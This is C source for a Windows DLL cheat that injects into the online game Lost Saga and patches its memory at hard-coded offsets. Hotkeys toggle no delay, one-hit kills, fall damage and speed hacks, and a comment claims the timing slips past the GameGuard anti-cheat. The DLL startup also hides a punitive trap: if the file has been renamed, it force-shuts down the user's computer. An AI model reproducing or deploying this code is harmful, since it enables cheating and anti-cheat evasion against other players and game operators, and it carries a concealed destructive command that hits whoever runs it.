#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
//============ OFFSET ============
#define NoDelay 0x8C351D // HARUS ADA NAMA GW ^^
#define OneHitCSD 0x8D23B8 // SERTAKAN NAMA W ^^
#define FallDamage 0x8D23A4+0x3F7AC6E // SETAKAN NAMA GW ^^
#define SpeedHack 0x8D245C+0x3F9A147 // Onsiris^^
//============ OFFSET ============
LPTSTR ModulGame = "lostsaga.exe";
void Patch(void *adr, void *ptr, int size)
{
DWORD OldProtection;
VirtualProtect(adr,size,PAGE_EXECUTE_READWRITE, &OldProtection);
memcpy(adr,ptr,size);
VirtualProtect(adr,size,OldProtection, &OldProtection);
}
void WritePointer(unsigned long ulBase, int iOffset, int iValue)
{
if (!IsBadReadPtr((VOID*)ulBase, sizeof(unsigned long)))
{
if (!IsBadWritePtr((void*)(*(unsigned long*)ulBase + iOffset), sizeof(unsigned long)))
{
*(int*)(*(unsigned long*)ulBase + iOffset) = iValue;
}
}
}
void SagaHacy()
{
while(1)
{
//========== No Delay ==========//
if (GetAsyncKeyState(VK_F1)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)NoDelay;0x8C351D
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3); // Jangan di ganti Agar WORK
}
}
//========== 1 Hit Crusade ==========//
if (GetAsyncKeyState(VK_F2)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)OneHitCSD;0x8D23B8
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK
}
}
//========== Fall Damage UP ==========//
if (GetAsyncKeyState(VK_F3)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)FallDamage;0x8D23A4+0x3F7AC6E
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK
}
}
//========== SpeedHack Hook ==========//
if (GetAsyncKeyState(VK_F4)&1) {
MessageBeep(MB_ICONINFORMATION);
DWORD adrMin1, adrMin2 = 0;
DWORD dwPB = (DWORD)GetModuleHandleA("lostsaga.exe");
if (dwPB > 0) {
adrMin1 = dwPB + (DWORD)SpeedHack;0x8D245C+0x3F9A147
Patch((void *)(adrMin1),(void*)(PBYTE)"\x00\x00\x00", 3);// Jangan di ganti Agar WORK
}
}
Sleep(100); //Jangan di ganti , Agar Tembus GG Cowboy
}
}
BOOL APIENTRY DllMain(HINSTANCE hDll, DWORD callReason, LPVOID lpReserved) {
DisableThreadLibraryCalls(hDll);
if(callReason == DLL_PROCESS_ATTACH) {
MessageBox(0, "Credit by Rizky\n\nThank'z to : Onsiris.Com", "Notice",MB_ICONINFORMATION | MB_OKCANCEL); // Notice yg Keluar
MessageBox(0, "No Delay : F1\n1 Hit Crusade : F2\nFall Damage UP : F3\nSpeedHack Hook : F4\n\nTekan Saat Splash Cowboy Menghilang / Saat Mulai Splash Screen Hitam", "SANDY IRAWAN GANTENG",MB_ICONWARNING | MB_OKCANCEL); // Notice yg Keluar
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&SagaHacy,0, 0, 0);
char strDLLName [_MAX_PATH];
GetModuleFileName(hDll, strDLLName , _MAX_PATH);
if (strstr(strDLLName, "Onsiris.dll") <= 0) {//Nama DLL Asli
// tampilkan pesan, kalo dll nya sdh bukan asli / sudah di rename
MessageBox(0, "No Rename ?","Deteckor",MB_ICONSTOP | MB_OK);
MessageBox(0, "THanks to ONSIRIS.COM","Deteckor",MB_ICONSTOP | MB_OK);
MessageBox(0, "™Rizky","Deteckor",MB_ICONSTOP | MB_OK);
system("start C:/Windows/System32/shutdown.exe -s -f -t 00");
ExitProcess(0);//ERROR
}
}
}
Do not edit my base when I edited the language of the cheat will not work
Created :
[-] Muhammad Rizky
[-] M Fadlan Aprial D
Thank's To :
[-] All Member In-Cybers.Com
[-] All Member Onsiris.Com
[-] All Member And Team Management Onsiris
[-] Sofian Karameca II
[-] Rizky Ansari